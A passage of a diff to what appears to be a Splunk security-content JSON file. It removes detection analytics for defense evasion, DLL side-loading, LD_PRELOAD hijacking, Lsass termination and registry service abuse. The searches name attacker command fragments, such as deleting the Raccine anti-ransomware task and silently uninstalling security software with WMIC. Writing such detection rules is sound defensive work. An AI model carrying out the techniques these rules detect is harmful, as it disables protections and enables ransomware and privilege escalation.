Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Logger registry key set to 'disabled' on $dest$.", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Powershell Import Applocker Policy", - "description": "The following analytic detects the import of Windows PowerShell Applocker cmdlets, specifically identifying the use of \"Import-Module Applocker\" and \"Set-AppLockerPolicy\" with an XML policy. It leverages PowerShell Script Block Logging (EventCode 4104) to capture and analyze script block text. This activity is significant as it may indicate an attempt to enforce restrictive Applocker policies, potentially used by malware like Azorult to disable antivirus products. If confirmed malicious, this could allow an attacker to bypass security controls, leading to further system compromise and persistence.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Import-Module Applocker*\" ScriptBlockText=\"*Set-AppLockerPolicy *\" ScriptBlockText=\"* -XMLPolicy *\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_import_applocker_policy_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script contains Import Applocker Policy command $ScriptBlockText$ with EventCode $EventCode$ on host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Raccine Scheduled Task Deletion", - "description": "The following analytic identifies the deletion of the Raccine Rules Updater scheduled task using the `schtasks.exe` command. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because adversaries may delete this task to disable Raccine, a tool designed to prevent ransomware attacks. If confirmed malicious, this action could allow ransomware to execute without interference, leading to potential data encryption and loss.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe Processes.process=\"*delete*\" AND Processes.process=\"*Raccine*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_raccine_scheduled_task_deletion_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user user$ attempting to disable Raccines scheduled task.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Terminating Lsass Process", - "description": "The following analytic detects a suspicious process attempting to terminate the Lsass.exe process. It leverages Sysmon EventCode 10 logs to identify processes granted PROCESS_TERMINATE access to Lsass.exe. This activity is significant because Lsass.exe is a critical process responsible for enforcing security policies and handling user credentials. If confirmed malicious, this behavior could indicate an attempt to perform credential dumping, privilege escalation, or evasion of security policies, potentially leading to unauthorized access and persistence within the environment.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe GrantedAccess = 0x1 | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage, TargetImage, TargetProcessId, SourceProcessId, GrantedAccess CallTrace, dest | rename dest as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_terminating_lsass_process_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Double Zero Destructor" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "a process $SourceImage$ terminates Lsass process in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Wmic NonInteractive App Uninstallation", - "description": "The following analytic identifies the use of the WMIC command-line tool attempting to uninstall applications non-interactively. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns associated with WMIC. This activity is significant because it is uncommon and may indicate an attempt to evade detection by uninstalling security software, as seen in IcedID malware campaigns. If confirmed malicious, this behavior could allow an attacker to disable security defenses, facilitating further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wmic.exe Processes.process=\"* product *\" Processes.process=\"*where name*\" Processes.process=\"*call uninstall*\" Processes.process=\"*/nointeractive*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wmic_noninteractive_app_uninstallation_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "Wmic $process_name$ with command-line $process$ on $dest$ attempting to uninstall software.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } } ], "external_reference": [ @@ -548348,1106 +368501,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Windows DLL Search Order Hijacking Hunt", - "description": "The following hunting analytic is an experimental query built against a accidental feature using the latest Sysmon TA 3.0 (https://splunkbase.splunk.com/app/5709/) which maps the module load (ImageLoaded) to process_name. This analytic will deprecate once this is fixed. This hunting analytic identifies known libraries in Windows that may be used in a DLL search order hijack or DLL Sideloading setting. This may require recompiling the DLL, moving the DLL or moving the vulnerable process. The query looks for any running out of system32 or syswow64. Some libraries natively run out of other application paths and will need to be added to the exclusion as needed. The lookup is comprised of Microsoft native libraries identified within the Hijacklibs.net project.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process_name) as process_name from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.user!=unknown NOT (Processes.process_path IN (\"*\\\\system32\\\\*\", \"*\\\\syswow64\\\\*\",\"*\\\\winsxs\\\\*\",\"*\\\\wbem\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup hijacklibs library AS process_name OUTPUT islibrary | search islibrary = True | rename parent_process_name as process_name , process_name AS ImageLoaded, process_path AS Module_Path | `windows_dll_search_order_hijacking_hunt_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential Windows DLL Search Order Hijacking detected on $dest$", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Path Interception By Creation Of program exe", - "description": "The following analytic identifies the creation of a program executable in an unquoted service path, a common technique for privilege escalation. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is 'services.exe'. This activity is significant because unquoted service paths can be exploited by attackers to execute arbitrary code with elevated privileges. If confirmed malicious, this could allow an attacker to gain higher-level access, potentially leading to full system compromise and persistent control over the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=services.exe by Processes.user Processes.process_name Processes.parent_process_name Processes.process Processes.dest | `drop_dm_object_name(Processes)` | rex field=process \"^.*?\\\\\\\\(?[^\\\\\\\\]*\\.(?:exe|bat|com|ps1))\" | eval process_name = lower(process_name) | eval service_process = lower(service_process) | where process_name != service_process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_path_interception_by_creation_of_program_exe_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to perform privilege escalation by using unquoted service paths.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.009", - "mitre_attack_technique": "Path Interception by Unquoted Path", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Preload Hijack Library Calls", - "description": "The following analytic detects the use of the LD_PRELOAD environment variable to hijack or hook library functions on a Linux platform. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because adversaries, malware authors, and red teamers commonly use this technique to gain elevated privileges and establish persistence on a compromised machine. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, and maintain long-term access to the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*LD_PRELOAD*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_preload_hijack_library_calls_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may hijack library function on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.006", - "mitre_attack_technique": "Dynamic Linker Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "MSI Module Loaded by Non-System Binary", - "description": "The following analytic detects the loading of `msi.dll` by a binary not located in `system32`, `syswow64`, `winsxs`, or `windows` directories. This is identified using Sysmon EventCode 7, which logs DLL loads, and filters out legitimate system paths. This activity is significant as it may indicate exploitation of CVE-2021-41379 or DLL side-loading attacks, both of which can lead to unauthorized system modifications. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or persist within the environment.", - "search": "`sysmon` EventCode=7 ImageLoaded=\"*\\\\msi.dll\" NOT (Image IN (\"*\\\\System32\\\\*\",\"*\\\\syswow64\\\\*\",\"*\\\\windows\\\\*\", \"*\\\\winsxs\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `msi_module_loaded_by_non_system_binary_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Child Process" - ] - } - ], - "message": "The following module $ImageLoaded$ was loaded by $Image$ outside of the normal system paths on endpoint $dest$, potentally related to DLL side-loading.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Msmpeng Application DLL Side Loading", - "description": "The following analytic detects the suspicious creation of msmpeng.exe or mpsvc.dll in non-default Windows Defender folders. It leverages the Endpoint.Filesystem datamodel to identify instances where these files are created outside their expected directories. This activity is significant because it is associated with the REvil ransomware, which uses DLL side-loading to execute malicious payloads. If confirmed malicious, this could lead to ransomware deployment, resulting in data encryption, system compromise, and potential data loss or extortion.", - "search": "|tstats `security_content_summariesonly` values(Filesystem.file_path) as file_path count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name = \"msmpeng.exe\" OR Filesystem.file_name = \"mpsvc.dll\") AND NOT (Filesystem.file_path IN (\"*\\\\Program Files\\\\windows defender\\\\*\",\"*\\\\WinSxS\\\\*defender-service*\",\"*\\\\WinSxS\\\\Temp\\\\*defender-service*\")) by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `msmpeng_application_dll_side_loading_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious creation of msmpeng.exe or mpsvc.dll in non default windows defender folder on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Reg exe Manipulating Windows Services Registry Keys", - "description": "The following analytic detects the use of reg.exe to modify registry keys associated with Windows services and their configurations. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because unauthorized changes to service registry keys can indicate an attempt to establish persistence or escalate privileges. If confirmed malicious, this could allow an attacker to control service behavior, potentially leading to unauthorized code execution or system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process_name) as process_name values(Processes.parent_process_name) as parent_process_name values(Processes.user) as user FROM datamodel=Endpoint.Processes where Processes.process_name=reg.exe Processes.process=*reg* Processes.process=*add* Processes.process=*Services* by Processes.process_id Processes.dest Processes.process | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `reg_exe_manipulating_windows_services_registry_keys_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Persistence Techniques", - "Windows Service Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A reg.exe process $process_name$ with commandline $process$ in host $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.011", - "mitre_attack_technique": "Services Registry Permissions Weakness", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DLL Search Order Hijacking Hunt with Sysmon", - "description": "The following analytic identifies potential DLL search order hijacking or DLL sideloading by detecting known Windows libraries loaded from non-standard directories. It leverages Sysmon EventCode 7 to monitor DLL loads and cross-references them with a lookup of known hijackable libraries. This activity is significant as it may indicate an attempt to execute malicious code by exploiting DLL search order vulnerabilities. If confirmed malicious, this could allow attackers to gain code execution, escalate privileges, or maintain persistence within the environment.", - "search": "`sysmon` EventCode=7 NOT (process_path IN (\"*\\\\system32\\\\*\", \"*\\\\syswow64\\\\*\",\"*\\\\winsxs\\\\*\",\"*\\\\wbem\\\\*\")) | lookup hijacklibs library AS loaded_file OUTPUT islibrary | search islibrary = True | stats count min(_time) as firstTime max(_time) as lastTime values(process_name) as process_name by _time dest loaded_file | `windows_dll_search_order_hijacking_hunt_with_sysmon_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Qakbot", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential Windows DLL Search Order Hijacking detected on $dest$", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DLL Side-Loading In Calc", - "description": "The following analytic detects suspicious DLL modules loaded by calc.exe that are not located in the %systemroot%\\system32 or %systemroot%\\sysWoW64 directories. This detection leverages Sysmon EventCode 7 to identify DLL side-loading, a technique often used by Qakbot malware to execute malicious DLLs. This activity is significant as it indicates potential malware execution through a trusted process, which can bypass security controls. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, and escalate privileges within the environment.", - "search": "`sysmon` EventCode=7 Image = \"*\\calc.exe\" AND NOT (Image IN (\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\sysWow64\\\\*\")) AND NOT(ImageLoaded IN(\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\sysWow64\\\\*\", \"*:\\\\windows\\\\WinSXS\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded OriginalFileName Product process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dll_side_loading_in_calc_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a dll modules is loaded by calc.exe in $ImageLoaded$ that are not in common windows OS installation folder in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DLL Side-Loading Process Child Of Calc", - "description": "The following analytic identifies suspicious child processes spawned by calc.exe, indicative of DLL side-loading techniques. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process GUIDs, names, and parent processes. This activity is significant as it is commonly associated with Qakbot malware, which uses calc.exe to load malicious DLLs via regsvr32.exe. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, maintain persistence, and escalate privileges, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = 